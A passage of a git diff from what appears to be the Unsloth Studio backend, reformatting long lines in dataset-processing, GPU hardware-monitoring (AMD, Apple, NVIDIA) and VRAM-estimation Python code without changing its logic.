     repo = os.environ.get("UNSLOTH_HELPER_MODEL_REPO", DEFAULT_HELPER_MODEL_REPO)
-    variant = os.environ.get("UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT)
+    variant = os.environ.get(
+        "UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT
+    )
 
     backend = None
     try:
@@ -465,7 +483,9 @@ def _run_multi_pass_advisor(
             samples_text += f"Row {i}:\n" + "\n".join(parts) + "\n"
 
         metadata_str = (
-            json.dumps(dataset_metadata, indent = 2, default = str)[:500] if dataset_metadata else "N/A"
+            json.dumps(dataset_metadata, indent = 2, default = str)[:500]
+            if dataset_metadata
+            else "N/A"
         )
         card_excerpt = (dataset_card or "")[:1200] or "N/A"
 
@@ -667,7 +687,9 @@ def _run_multi_pass_advisor(
         # Must have at least one user AND one assistant
         roles_present = set(column_roles.values())
         if "user" not in roles_present or "assistant" not in roles_present:
-            logger.warning(f"Pass 2 sanity fail: missing user or assistant role: {column_roles}")
+            logger.warning(
+                f"Pass 2 sanity fail: missing user or assistant role: {column_roles}"
+            )
             return None  # falls back to simple classification
 
         # ── Pass 3: System prompt (non-conversational datasets only) ──
diff --git a/studio/backend/utils/datasets/raw_text.py b/studio/backend/utils/datasets/raw_text.py
index 112528fdd0..654203b454 100644
--- a/studio/backend/utils/datasets/raw_text.py
+++ b/studio/backend/utils/datasets/raw_text.py
@@ -144,7 +144,8 @@ def prepare_raw_text_dataset(
         notices.append(
             RawTextNotice(
                 message = (
-                    f"{mode_title}: renaming column '{renamed_col}' -> 'text' " f"for {split_scope}"
+                    f"{mode_title}: renaming column '{renamed_col}' -> 'text' "
+                    f"for {split_scope}"
                 ),
                 level = "info",
             )
diff --git a/studio/backend/utils/datasets/vlm_processing.py b/studio/backend/utils/datasets/vlm_processing.py
index f018913fa8..5c336ee2a3 100644
--- a/studio/backend/utils/datasets/vlm_processing.py
+++ b/studio/backend/utils/datasets/vlm_processing.py
@@ -65,7 +65,9 @@ def generate_smart_vlm_instruction(
         # OCR / Transcription
         "ocr": {
             "keywords": ["ocr", "transcribe", "transcript"],
-            "content_hints": [r"[A-Za-z\u0600-\u06FF]{10,}"],  # Long Latin/Arabic passages
+            "content_hints": [
+                r"[A-Za-z\u0600-\u06FF]{10,}"
+            ],  # Long Latin/Arabic passages
             "instruction": "Transcribe all the text shown in this image.",
             "confidence": 0.9,
         },
diff --git a/studio/backend/utils/downsample.py b/studio/backend/utils/downsample.py
index 2d340ca248..bccf6a23b7 100644
--- a/studio/backend/utils/downsample.py
+++ b/studio/backend/utils/downsample.py
@@ -12,5 +12,7 @@ def downsample(values: list[float], target_count: int) -> list[float]:
         return []
     if target_count == 1:
         return [values[-1]]
-    indices = [round(i * (len(values) - 1) / (target_count - 1)) for i in range(target_count)]
+    indices = [
+        round(i * (len(values) - 1) / (target_count - 1)) for i in range(target_count)
+    ]
     return [values[i] for i in indices]
diff --git a/studio/backend/utils/hardware/amd.py b/studio/backend/utils/hardware/amd.py
index 91a06c9a2a..22350154e0 100644
--- a/studio/backend/utils/hardware/amd.py
+++ b/studio/backend/utils/hardware/amd.py
@@ -46,7 +46,9 @@ def _path_inside_venv(path: str) -> bool:
         # it. A venv is never at root, so treat that as outside.
         if os.path.dirname(root) == root:
             return False
-        return os.path.normcase(os.path.commonpath([os.path.realpath(path), root])) == root
+        return (
+            os.path.normcase(os.path.commonpath([os.path.realpath(path), root])) == root
+        )
     except (ValueError, OSError):
         # Different drive / unresolvable -> treat as outside the venv.
         return False
@@ -254,7 +256,9 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:
     # Output structure varies by version; try common paths
     usage = gpu_data.get("usage", gpu_data.get("gpu_activity", {}))
     if isinstance(usage, dict):
-        gpu_util = _parse_numeric(usage.get("gfx_activity", usage.get("gpu_use_percent")))
+        gpu_util = _parse_numeric(
+            usage.get("gfx_activity", usage.get("gpu_use_percent"))
+        )
     else:
         gpu_util = _parse_numeric(usage)
 
@@ -279,7 +283,9 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:
                 power_data.get("average_socket_power", power_data.get("socket_power")),
             )
         )
-        power_limit = _parse_numeric(power_data.get("power_cap", power_data.get("max_power_limit")))
+        power_limit = _parse_numeric(
+            power_data.get("power_cap", power_data.get("max_power_limit"))
+        )
     else:
         power_draw = None
         power_limit = None
@@ -293,10 +299,14 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:
     )
     if isinstance(vram_data, dict):
         vram_used_mb = _parse_memory_mb(
-            vram_data.get("used_vram", vram_data.get("vram_used", vram_data.get("used")))
+            vram_data.get(
+                "used_vram", vram_data.get("vram_used", vram_data.get("used"))
+            )
         )
         vram_total_mb = _parse_memory_mb(
-            vram_data.get("total_vram", vram_data.get("vram_total", vram_data.get("total")))
+            vram_data.get(
+                "total_vram", vram_data.get("vram_total", vram_data.get("total"))
+            )
         )
     else:
         vram_used_mb = None
@@ -304,7 +314,9 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:
 
     # Build the standardized dict (same shape as nvidia._build_gpu_metrics)
     vram_used_gb = round(vram_used_mb / 1024, 2) if vram_used_mb is not None else None
-    vram_total_gb = round(vram_total_mb / 1024, 2) if vram_total_mb is not None else None
+    vram_total_gb = (
+        round(vram_total_mb / 1024, 2) if vram_total_mb is not None else None
+    )
     vram_util = (
         round((vram_used_mb / vram_total_mb) * 100, 1)
         if vram_used_mb is not None and vram_total_mb is not None and vram_total_mb > 0
@@ -414,7 +426,8 @@ def get_primary_gpu_utilization() -> dict[str, Any]:
 
 
 def get_visible_gpu_utilization(
-    parent_visible_ids: Optional[list[int]], parent_cuda_visible_devices: Optional[str] = None
+    parent_visible_ids: Optional[list[int]],
+    parent_cuda_visible_devices: Optional[str] = None,
 ) -> dict[str, Any]:
     """Return utilization metrics for visible AMD GPUs."""
     if parent_visible_ids is None:
@@ -454,7 +467,9 @@ def get_visible_gpu_utilization(
             continue
         # Use the AMD-reported GPU ID, else the enumeration index. _parse_numeric
         # handles bare ints/floats/strings and the {"value", "unit"} dict shape.
-        raw_id = gpu_data.get("gpu", gpu_data.get("gpu_id", gpu_data.get("id", fallback_idx)))
+        raw_id = gpu_data.get(
+            "gpu", gpu_data.get("gpu_id", gpu_data.get("id", fallback_idx))
+        )
         parsed_id = _parse_numeric(raw_id)
         if parsed_id is None:
             logger.warning(
diff --git a/studio/backend/utils/hardware/apple.py b/studio/backend/utils/hardware/apple.py
index 62dbd10b8d..3252dd3fa6 100644
--- a/studio/backend/utils/hardware/apple.py
+++ b/studio/backend/utils/hardware/apple.py
@@ -154,7 +154,11 @@ def _load_iokit() -> ctypes.CDLL:
 def _load_cf() -> ctypes.CDLL:
     cf = ctypes.CDLL(_CF_PATH)
     cf.CFStringCreateWithCString.restype = ctypes.c_void_p
-    cf.CFStringCreateWithCString.argtypes = [ctypes.c_void_p, ctypes.c_char_p, ctypes.c_uint32]
+    cf.CFStringCreateWithCString.argtypes = [
+        ctypes.c_void_p,
+        ctypes.c_char_p,
+        ctypes.c_uint32,
+    ]
     cf.CFStringGetCString.restype = ctypes.c_bool
     cf.CFStringGetCString.argtypes = [
         ctypes.c_void_p,
@@ -191,9 +195,17 @@ def _load_ioreport() -> ctypes.CDLL:
         ctypes.c_void_p,
     ]
     ior.IOReportCreateSamples.restype = ctypes.c_void_p
-    ior.IOReportCreateSamples.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
+    ior.IOReportCreateSamples.argtypes = [
+        ctypes.c_void_p,
+        ctypes.c_void_p,
+        ctypes.c_void_p,
+    ]
     ior.IOReportCreateSamplesDelta.restype = ctypes.c_void_p
-    ior.IOReportCreateSamplesDelta.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
+    ior.IOReportCreateSamplesDelta.argtypes = [
+        ctypes.c_void_p,
+        ctypes.c_void_p,
+        ctypes.c_void_p,
+    ]
     ior.IOReportChannelGetChannelName.restype = ctypes.c_void_p
     ior.IOReportChannelGetChannelName.argtypes = [ctypes.c_void_p]
     ior.IOReportChannelGetUnitLabel.restype = ctypes.c_void_p
@@ -204,7 +216,9 @@ def _load_ioreport() -> ctypes.CDLL:
 
 
 def _cfstr(cf: ctypes.CDLL, text: str) -> int:
-    return cf.CFStringCreateWithCString(None, text.encode("utf-8"), _CF_STRING_ENCODING_UTF8)
+    return cf.CFStringCreateWithCString(
+        None, text.encode("utf-8"), _CF_STRING_ENCODING_UTF8
+    )
 
 
 def _from_cfstr(cf: ctypes.CDLL, ref: Optional[int]) -> str:
@@ -235,7 +249,12 @@ class _SMCConnection:
     def _open(self) -> int:
         iterator = ctypes.c_uint32(0)
         matching = self._iokit.IOServiceMatching(b"AppleSMC")
-        if self._iokit.IOServiceGetMatchingServices(0, matching, ctypes.byref(iterator)) != 0:
+        if (
+            self._iokit.IOServiceGetMatchingServices(
+                0, matching, ctypes.byref(iterator)
+            )
+            != 0
+        ):
             raise OSError("AppleSMC service not found")
         try:
             conn = self._open_keys_endpoint(iterator.value)
@@ -290,7 +309,9 @@ class _SMCConnection:
         try:
             key_id = _fourcc(key)
             info = self._read_key_info(key_id)
-            oval = self._call(_SMCKeyData(key = key_id, data8 = _SMC_CMD_READ_BYTES, key_info = info))
+            oval = self._call(
+                _SMCKeyData(key = key_id, data8 = _SMC_CMD_READ_BYTES, key_info = info)
+            )
             return bytes(oval.bytes[: info.data_size])
         except OSError:
             return None
@@ -386,7 +407,9 @@ class _IOReportEnergy:
             watts = _watts(energy, unit, elapsed_s)
             if watts is not None:
                 total = (total or 0.0) + watts
-        if total is None or total < 0:  # negative = counter reset; show -- not a bogus draw
+        if (
+            total is None or total < 0
+        ):  # negative = counter reset; show -- not a bogus draw
             return None
         return round(total, 1)
 
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 9fef53e65e..04a3abd7ce 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -76,7 +76,9 @@ CHAT_ONLY: bool = True  # No CUDA GPU -> GGUF chat only (Mac, CPU-only, etc.)
 # (the usual cause of "Train/Export greyed out" on Macs after a reinstall dropped MLX);
 # "intel_mac": Intel Mac (no PyTorch/MLX); "no_gpu": CPU-only non-Mac host.
 CHAT_ONLY_REASON: Optional[str] = None
-IS_ROCM: bool = False  # True when running on AMD ROCm (HIP) -- routes GPU monitoring to amd.py
+IS_ROCM: bool = (
+    False  # True when running on AMD ROCm (HIP) -- routes GPU monitoring to amd.py
+)
 
 
 def _backend_label(device: DeviceType) -> str:
@@ -247,7 +249,9 @@ def detect_hardware() -> DeviceType:
             "restore MLX training."
         )
     elif platform.system() == "Darwin":
-        CHAT_ONLY_REASON = "intel_mac"  # Intel Mac: no PyTorch/MLX -> GGUF-only by design.
+        CHAT_ONLY_REASON = (
+            "intel_mac"  # Intel Mac: no PyTorch/MLX -> GGUF-only by design.
+        )
     else:
         CHAT_ONLY_REASON = "no_gpu"
     print("Hardware detected: CPU (no GPU backend available)")
@@ -571,7 +575,9 @@ def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]
                     "visible_ordinal": ordinal,
                     "name": props.name,
                     "total_gb": round(total_bytes / (1024**3), 2),
-                    "used_gb": round(used_bytes / (1024**3), 2) if used_bytes is not None else None,
+                    "used_gb": round(used_bytes / (1024**3), 2)
+                    if used_bytes is not None
+                    else None,
                 }
             )
         except Exception as e:
@@ -1003,7 +1009,9 @@ def get_gpu_utilization() -> Dict[str, Any]:
                 # A single visible GPU can own the aggregate 3D-engine utilization;
                 # across several GPUs the sum isn't per-device, so leave it unset.
                 _win_util = (
-                    _rocm_windows_perf_counter_gpu_util_pct() if len(_win_devices) == 1 else None
+                    _rocm_windows_perf_counter_gpu_util_pct()
+                    if len(_win_devices) == 1
+                    else None
                 )
                 return _gpu_utilization_payload(
                     device,
@@ -1032,7 +1040,9 @@ def get_gpu_utilization() -> Dict[str, Any]:
                             "temperature_c": _linux_temp,
                             "vram_used_gb": _linux_used,
                             "vram_total_gb": _linux_total,
-                            "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
+                            "vram_utilization_pct": round(
+                                (_linux_used / _linux_total) * 100, 1
+                            )
                             if _linux_total > 0
                             else None,
                             "power_draw_w": _linux_power,
@@ -1083,7 +1093,12 @@ def get_gpu_utilization() -> Dict[str, Any]:
             total_bytes = psutil.virtual_memory().total
         except Exception as e:
             logger.error(f"Error getting MLX GPU utilization: {e}")
-            return {"available": False, "backend": device.value, "devices": [], "error": str(e)}
+            return {
+                "available": False,
+                "backend": device.value,
+                "devices": [],
+                "error": str(e),
+            }
 
         allocated_bytes = agx.get("vram_used_bytes", 0) or 0
         vram_used_gb = allocated_bytes / (1024**3)
@@ -1185,7 +1200,9 @@ def _apply_unified_memory_correction(
         )
 
 
-def _reconcile_rocm_unified_memory(utilization: Dict[str, Any], device_indices: list[int]) -> None:
+def _reconcile_rocm_unified_memory(
+    utilization: Dict[str, Any], device_indices: list[int]
+) -> None:
     """Fix amd-smi VRAM for ROCm unified-memory GPUs (e.g. Strix Halo).
 
     amd-smi reports only the dedicated slice; torch sees the full GTT pool. When
@@ -1380,7 +1397,9 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:
     # stale HIP_VISIBLE_DEVICES on NVIDIA can't override CUDA_VISIBLE_DEVICES.
     _is_rocm_spec = IS_ROCM or (
         "CUDA_VISIBLE_DEVICES" not in os.environ
-        and ("HIP_VISIBLE_DEVICES" in os.environ or "ROCR_VISIBLE_DEVICES" in os.environ)
+        and (
+            "HIP_VISIBLE_DEVICES" in os.environ or "ROCR_VISIBLE_DEVICES" in os.environ
+        )
     )
     if _is_rocm_spec:
         hip_vis = os.environ.get("HIP_VISIBLE_DEVICES")
@@ -1470,7 +1489,9 @@ def resolve_requested_gpu_ids(gpu_ids: Optional[list[int]]) -> list[int]:
         max_parent_id = max(parent_visible_ids)
         if physical_gpu_count > max_parent_id:
             # Count is plausibly physical, so enforce it.
-            out_of_range = [gpu_id for gpu_id in requested_ids if gpu_id >= physical_gpu_count]
+            out_of_range = [
+                gpu_id for gpu_id in requested_ids if gpu_id >= physical_gpu_count
+            ]
             if out_of_range:
                 raise ValueError(
                     f"Invalid gpu_ids {requested_ids}: IDs must be physical GPU IDs "
@@ -1478,7 +1499,9 @@ def resolve_requested_gpu_ids(gpu_ids: Optional[list[int]]) -> list[int]:
                     f"Rejected IDs: {out_of_range}. Parent-visible GPUs: {parent_visible_ids}"
                 )
 
-    disallowed_ids = [gpu_id for gpu_id in requested_ids if gpu_id not in parent_visible_ids]
+    disallowed_ids = [
+        gpu_id for gpu_id in requested_ids if gpu_id not in parent_visible_ids
+    ]
     if disallowed_ids:
         raise ValueError(
             f"Invalid gpu_ids {requested_ids}: requested GPUs {disallowed_ids} are "
@@ -1499,7 +1522,9 @@ def _resolve_model_identifier_for_gpu_estimate(
             return config.base_model
         return config.identifier if config else model_name
     except Exception as e:
-        logger.debug("Could not resolve base model for GPU estimate '%s': %s", model_name, e)
+        logger.debug(
+            "Could not resolve base model for GPU estimate '%s': %s", model_name, e
+        )
         return model_name
 
 
@@ -1568,7 +1593,9 @@ def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = Non
         except Exception:
             pass
         if tier != "default":
-            _tier_version = {"510": "5.10.x", "530": "5.3.0", "550": "5.5.0"}.get(tier, "5.x")
+            _tier_version = {"510": "5.10.x", "530": "5.3.0", "550": "5.5.0"}.get(
+                tier, "5.x"
+            )
             logger.info(
                 "Config for '%s' not parseable by the default transformers; "
                 "needs transformers %s and will be loaded with that sidecar in the worker",
@@ -1677,15 +1704,17 @@ def _estimate_fp16_model_size_bytes_from_vllm_utils(config) -> Optional[int]:
                 synthetic_total_bytes,
                 synthetic_total_bytes,
             )
-            _, _, _, memory_left_for_kv_cache_gb = _vllm_utils.approximate_vllm_memory_usage(
-                config,
-                load_in_4bit = False,
-                load_in_8bit = False,
-                max_seq_length = 1,
-                gpu_memory_utilization = 1.0,
-                enable_lora = False,
-                account_for_gradients = False,
-                cuda_graph_overhead = False,
+            _, _, _, memory_left_for_kv_cache_gb = (
+                _vllm_utils.approximate_vllm_memory_usage(
+                    config,
+                    load_in_4bit = False,
+                    load_in_8bit = False,
+                    max_seq_length = 1,
+                    gpu_memory_utilization = 1.0,
+                    enable_lora = False,
+                    account_for_gradients = False,
+                    cuda_graph_overhead = False,
+                )
             )
         finally:
             _vllm_utils.get_mem_info = original_get_mem_info
@@ -1707,11 +1736,15 @@ def _estimate_fp16_model_size_bytes_from_vllm_utils(config) -> Optional[int]:
 def estimate_fp16_model_size_bytes(
     model_name: str, hf_token: Optional[str] = None
 ) -> tuple[Optional[int], str]:
-    estimate_model = _resolve_model_identifier_for_gpu_estimate(model_name, hf_token = hf_token)
+    estimate_model = _resolve_model_identifier_for_gpu_estimate(
+        model_name, hf_token = hf_token
+    )
 
     total_params = None
     if "/" in estimate_model and not Path(estimate_model).exists():
-        total_params = _get_hf_safetensors_total_params(estimate_model, hf_token = hf_token)
+        total_params = _get_hf_safetensors_total_params(
+            estimate_model, hf_token = hf_token
+        )
     if total_params:
         return int(total_params * 2), "safetensors"
 
@@ -1766,7 +1799,9 @@ def estimate_required_model_memory_gb(
         DEFAULT_TARGET_MODULES,
     )
 
-    model_size_bytes, source = estimate_fp16_model_size_bytes(model_name, hf_token = hf_token)
+    model_size_bytes, source = estimate_fp16_model_size_bytes(
+        model_name, hf_token = hf_token
+    )
     metadata: Dict[str, Any] = {
         "mode": "inference" if training_type is None else "training",
         "model_size_source": source,
@@ -1789,7 +1824,9 @@ def estimate_required_model_memory_gb(
         return required_gb, metadata
 
     training_method = (
-        "full" if training_type == "Full Finetuning" else ("qlora" if load_in_4bit else "lora")
+        "full"
+        if training_type == "Full Finetuning"
+        else ("qlora" if load_in_4bit else "lora")
     )
     vram_config = TrainingVramConfig(
         training_method = training_method,
@@ -1802,12 +1839,14 @@ def estimate_required_model_memory_gb(
         load_in_4bit = load_in_4bit,
     )
 
-    estimate_model = _resolve_model_identifier_for_gpu_estimate(model_name, hf_token = hf_token)
+    estimate_model = _resolve_model_identifier_for_gpu_estimate(
+        model_name, hf_token = hf_token
+    )
     config = _load_config_for_gpu_estimate(estimate_model, hf_token = hf_token)
     if config is not None:
         try:
-            vram_config.attention_implementation = _determine_attention_impl_for_gpu_estimate(
-                config
+            vram_config.attention_implementation = (
+                _determine_attention_impl_for_gpu_estimate(config)
             )
         except Exception as e:
             # Debug-level: fires every estimate on Windows ROCm (stub lacks Store);
@@ -1993,7 +2032,9 @@ def auto_select_gpu_ids(
             return selected, metadata
 
     # Use only GPUs with verified VRAM data.
-    fallback_all = [c["index"] for c in gpu_candidates] if gpu_candidates else parent_ids
+    fallback_all = (
+        [c["index"] for c in gpu_candidates] if gpu_candidates else parent_ids
+    )
     metadata["selection_mode"] = "fallback_all"
     if ranked:
         fallback_usable = ranked[0]["free_gb"] + sum(
@@ -2342,7 +2383,10 @@ def get_device_map(gpu_ids: Optional[list[int]] = None) -> str:
             # UUID/MIG masks can't be split into numeric IDs; >1 visible GPU
             # means multi-GPU sharding is intended.
             parent_visible_spec = _get_parent_visible_gpu_spec()
-            if parent_visible_spec["numeric_ids"] is None and get_visible_gpu_count() > 1:
+            if (
+                parent_visible_spec["numeric_ids"] is None
+                and get_visible_gpu_count() > 1
+            ):
                 multi_gpu = True
 
         if multi_gpu:
@@ -2371,7 +2415,9 @@ def raise_if_offloaded(
     offloaded = get_offloaded_device_map_entries(model)
     if not offloaded:
         return
-    example = ", ".join(f"{name}={placement}" for name, placement in list(offloaded.items())[:5])
+    example = ", ".join(
+        f"{name}={placement}" for name, placement in list(offloaded.items())[:5]
+    )
     raise ValueError(
         f"{context} does not support models loaded with CPU or disk offload. "
         f"device_map='{device_map}' produced offloaded modules: {example}"
diff --git a/studio/backend/utils/hardware/nvidia.py b/studio/backend/utils/hardware/nvidia.py
index f98ca4343e..eaabd9d55b 100644
--- a/studio/backend/utils/hardware/nvidia.py
+++ b/studio/backend/utils/hardware/nvidia.py
@@ -29,8 +29,12 @@ def _build_gpu_metrics(
 ) -> dict[str, Any]:
     return {
         **extra,
-        "vram_used_gb": round(vram_used_mb / 1024, 2) if vram_used_mb is not None else None,
-        "vram_total_gb": round(vram_total_mb / 1024, 2) if vram_total_mb is not None else None,
+        "vram_used_gb": round(vram_used_mb / 1024, 2)
+        if vram_used_mb is not None
+        else None,
+        "vram_total_gb": round(vram_total_mb / 1024, 2)
+        if vram_total_mb is not None
+        else None,
         "vram_utilization_pct": round((vram_used_mb / vram_total_mb) * 100, 1)
         if vram_used_mb is not None and vram_total_mb and vram_total_mb > 0
         else None,
@@ -42,7 +46,9 @@ def _build_gpu_metrics(
     }
 
 
-def _visible_ordinal_map(parent_visible_ids: Optional[list[int]]) -> Optional[dict[int, int]]:
+def _visible_ordinal_map(
+    parent_visible_ids: Optional[list[int]],
+) -> Optional[dict[int, int]]:
     if parent_visible_ids is None:
         return None
     return {gpu_id: ordinal for ordinal, gpu_id in enumerate(parent_visible_ids)}
@@ -108,7 +114,8 @@ def get_primary_gpu_utilization() -> dict[str, Any]:
 
 
 def get_visible_gpu_utilization(
-    parent_visible_ids: Optional[list[int]], parent_cuda_visible_devices: Optional[str] = None
+    parent_visible_ids: Optional[list[int]],
+    parent_cuda_visible_devices: Optional[str] = None,
 ) -> dict[str, Any]:
     # parent_visible_ids None (UUID/MIG mask): can't map nvidia-smi rows to
     # visible devices, so return empty rather than exposing all physical GPUs.
@@ -176,7 +183,9 @@ def get_visible_gpu_utilization(
                 index = idx,
                 index_kind = "physical",
                 visible_ordinal = (
-                    visible_ordinals[idx] if visible_ordinals is not None else len(devices)
+                    visible_ordinals[idx]
+                    if visible_ordinals is not None
+                    else len(devices)
                 ),
                 gpu_utilization_pct = _parse_smi_value(parts[1]),
                 temperature_c = _parse_smi_value(parts[2]),
@@ -259,7 +268,9 @@ def get_backend_visible_gpu_info(
                 "index": idx,
                 "index_kind": "physical",
                 "visible_ordinal": (
-                    visible_ordinals[idx] if visible_ordinals is not None else len(devices)
+                    visible_ordinals[idx]
+                    if visible_ordinals is not None
+                    else len(devices)
                 ),
                 "name": name,
                 "memory_total_gb": round(mem_total_mb / 1024, 2),
diff --git a/studio/backend/utils/hardware/vram_estimation.py b/studio/backend/utils/hardware/vram_estimation.py
index 86069ead3d..8dd99fe55e 100644
--- a/studio/backend/utils/hardware/vram_estimation.py
+++ b/studio/backend/utils/hardware/vram_estimation.py
@@ -16,7 +16,9 @@ from dataclasses import dataclass, field
 from typing import Dict, Optional
 
 QUANT_4BIT_FACTOR = 16 / 5
-DOUBLE_QUANT_4BIT_FACTOR = 3.6  # bnb_4bit_use_double_quant; see VRAM_ESTIMATION.md section 1
+DOUBLE_QUANT_4BIT_FACTOR = (
+    3.6  # bnb_4bit_use_double_quant; see VRAM_ESTIMATION.md section 1
+)
 CUDA_OVERHEAD_BYTES = int(1.4 * 1024**3)  # calibrated on RTX 5070 Ti
 NON_FLASH_ATTENTION_FACTOR = (
     12.0  # eager attention score+workspace overhead; see VRAM_ESTIMATION.md section 5
@@ -144,7 +146,12 @@ class VramBreakdown:
         Weights/LoRA/optimizer/gradients shard across GPUs; activations do
         NOT (the GPU running a layer holds them).
         """
-        shardable = self.model_weights + self.lora_adapters + self.optimizer_states + self.gradients
+        shardable = (
+            self.model_weights
+            + self.lora_adapters
+            + self.optimizer_states
+            + self.gradients
+        )
         per_gpu_fixed = self.activations + self.cuda_overhead
         return shardable // max(n_gpus, 1) + per_gpu_fixed
 
@@ -184,7 +191,9 @@ def _compute_dense_layer_indices(text_config, total_layers: int) -> tuple:
     layer_types = getattr(text_config, "mlp_layer_types", None)
     if layer_types:
         return tuple(
-            i for i, t in enumerate(layer_types[:total_layers]) if str(t).lower() == "dense"
+            i
+            for i, t in enumerate(layer_types[:total_layers])
+            if str(t).lower() == "dense"
         )
 
     # Llama4TextConfig.__init__ auto-populates self.moe_layers from
@@ -221,7 +230,9 @@ def _compute_dense_layer_indices(text_config, total_layers: int) -> tuple:
     if sparse_step is not None and sparse_step > 0:
         mlp_only_set = {int(i) for i in mlp_only}
         return tuple(
-            i for i in range(total_layers) if i in mlp_only_set or (i + 1) % sparse_step != 0
+            i
+            for i in range(total_layers)
+            if i in mlp_only_set or (i + 1) % sparse_step != 0
         )
     return ()
 
@@ -249,7 +260,8 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:
         intermediate_size = hidden_size * 4
 
     if not all(
-        v is not None for v in (hidden_size, num_layers, num_heads, intermediate_size, vocab_size)
+        v is not None
+        for v in (hidden_size, num_layers, num_heads, intermediate_size, vocab_size)
     ):
         return None
     if num_heads <= 0:
@@ -312,7 +324,9 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:
     # intermediate_size. One shared_expert per MoE layer (modeling_llama4.py).
     intermediate_size_mlp_raw = _first_scalar(_moe_attr("intermediate_size_mlp"))
     dense_intermediate_size = (
-        int(intermediate_size_mlp_raw) if intermediate_size_mlp_raw is not None else None
+        int(intermediate_size_mlp_raw)
+        if intermediate_size_mlp_raw is not None
+        else None
     )
     if (
         intermediate_size_mlp_raw is not None
@@ -371,7 +385,9 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:
             None,
         )
         or 0,
-        quantization_skip_modules = list(quantization_config.get("llm_int8_skip_modules", []) or []),
+        quantization_skip_modules = list(
+            quantization_config.get("llm_int8_skip_modules", []) or []
+        ),
         quant_4bit_factor = quant_4bit_factor,
         moe_has_dense_mlp = bool(getattr(text_config, "enable_moe_block", False)),
         dense_layer_indices = dense_layer_indices,
@@ -458,7 +474,11 @@ def _per_layer_input_lora_params(arch: ModelArchConfig, r: int, target_modules)
     pli = arch.hidden_size_per_layer_input
     if pli <= 0:
         return 0
-    targets = {target_modules} if isinstance(target_modules, str) else set(target_modules or [])
+    targets = (
+        {target_modules}
+        if isinstance(target_modules, str)
+        else set(target_modules or [])
+    )
     n_layers = arch.num_hidden_layers
     hd = arch.hidden_size
     total = 0
@@ -475,7 +495,11 @@ def _layer_attention_dims(arch: ModelArchConfig, layer_idx: int) -> tuple:
     layer_types = _layer_types(arch)
     layer_type = layer_types[layer_idx]
     is_sliding = layer_type == "sliding_attention"
-    head_dim = arch.global_head_dim if not is_sliding and arch.global_head_dim else _head_dim(arch)
+    head_dim = (
+        arch.global_head_dim
+        if not is_sliding and arch.global_head_dim
+        else _head_dim(arch)
+    )
     use_alt_attention = arch.attention_k_eq_v and not is_sliding
     num_kv_heads = (
         arch.num_global_key_value_heads
@@ -495,7 +519,9 @@ def _layer_mlp_size(arch: ModelArchConfig, layer_idx: int) -> int:
     return _dense_mlp_size(arch)
 
 
-def _text_linear_dims(arch: ModelArchConfig, layer_idx: int) -> Dict[str, tuple[int, int]]:
+def _text_linear_dims(
+    arch: ModelArchConfig, layer_idx: int
+) -> Dict[str, tuple[int, int]]:
     hd = arch.hidden_size
     if _uses_structured_layer_shapes(arch):
         q_size, kv_size, has_k, has_v = _layer_attention_dims(arch, layer_idx)
@@ -561,7 +587,9 @@ def _add_module_aliases(aliases: Dict[str, str], canonical: str, suffix: str) ->
         aliases[alias] = canonical
 
 
-def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int], Dict[str, str]]:
+def _build_text_module_elements(
+    arch: ModelArchConfig,
+) -> tuple[Dict[str, int], Dict[str, str]]:
     elements: Dict[str, int] = {}
     aliases: Dict[str, str] = {}
 
@@ -572,8 +600,12 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],
     for layer_idx in range(arch.num_hidden_layers):
         layer_modules: Dict[str, int] = {}
         dims = _text_linear_dims(arch, layer_idx)
-        attn_dims = {name: dim for name, dim in dims.items() if name in ATTENTION_TARGET_MODULES}
-        mlp_dims = {name: dim for name, dim in dims.items() if name in MLP_TARGET_MODULES}
+        attn_dims = {
+            name: dim for name, dim in dims.items() if name in ATTENTION_TARGET_MODULES
+        }
+        mlp_dims = {
+            name: dim for name, dim in dims.items() if name in MLP_TARGET_MODULES
+        }
 
         if is_mla:
             # MLA splits q/o into q_a/q_b/kv_a/kv_b; emit a single self_attn
@@ -620,7 +652,10 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],
                     )
         else:
             layer_modules.update(
-                {f"mlp.{name}": in_dim * out_dim for name, (in_dim, out_dim) in mlp_dims.items()}
+                {
+                    f"mlp.{name}": in_dim * out_dim
+                    for name, (in_dim, out_dim) in mlp_dims.items()
+                }
             )
 
         if pli > 0:
@@ -643,7 +678,10 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],
             for name, value in layer_modules.items()
             if (
                 name == "mlp"
-                or (name.startswith("mlp.") and not (is_sibling_experts and name == "mlp.experts"))
+                or (
+                    name.startswith("mlp.")
+                    and not (is_sibling_experts and name == "mlp.experts")
+                )
             )
         )
         experts_total = layer_modules.get("mlp.experts", 0) if is_sibling_experts else 0
@@ -698,7 +736,10 @@ def _compute_skipped_quantizable_elements(arch: ModelArchConfig) -> int:
     pruned = {
         canonical
         for canonical in matched
-        if not any(canonical != parent and canonical.startswith(f"{parent}.") for parent in matched)
+        if not any(
+            canonical != parent and canonical.startswith(f"{parent}.")
+            for parent in matched
+        )
     }
     return sum(module_elements[canonical] for canonical in pruned)
 
@@ -829,7 +870,9 @@ def _compute_layer_elements(arch: ModelArchConfig):
         mlp_total = _compute_dense_mlp_elements(arch) * n_layers
 
     layernorms = 2 * hd
